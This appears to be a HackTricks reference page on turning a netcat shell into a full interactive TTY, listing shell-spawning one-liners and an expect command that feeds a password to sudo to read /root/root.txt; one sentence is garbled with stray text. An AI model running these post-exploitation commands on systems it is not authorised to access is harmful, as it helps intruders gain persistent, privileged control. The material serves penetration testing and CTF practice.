hacktricks/shells/shells/full-ttys.md

Full TTYs

Full TTY

Note that the shell you set in the SHELL variable must be listed inside /etc/shells or The value for the SHELL variable was not found the /etc/shells file This incident has been reported.

python -c 'import pty; pty.spawn("/bin/bash")'
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

script -qc /bin/bash /dev/null
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; 

Spawn shells

• python -c 'import pty; pty.spawn("/bin/sh")'
• echo os.system('/bin/bash')
• /bin/sh -i
• script -qc /bin/bash /dev/null
• perl -e 'exec "/bin/sh";'
• perl: exec "/bin/sh";
• ruby: exec "/bin/sh"
• lua: os.execute('/bin/sh')
• IRB: exec "/bin/sh"
• vi: :!bash
• vi: :set shell=/bin/bash:shell
• nmap: !sh

No TTY

If for some reason you cannot obtain a full TTY you still can interact with programs that expects user input. In the following example, the password is passed to sudo to read a file:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'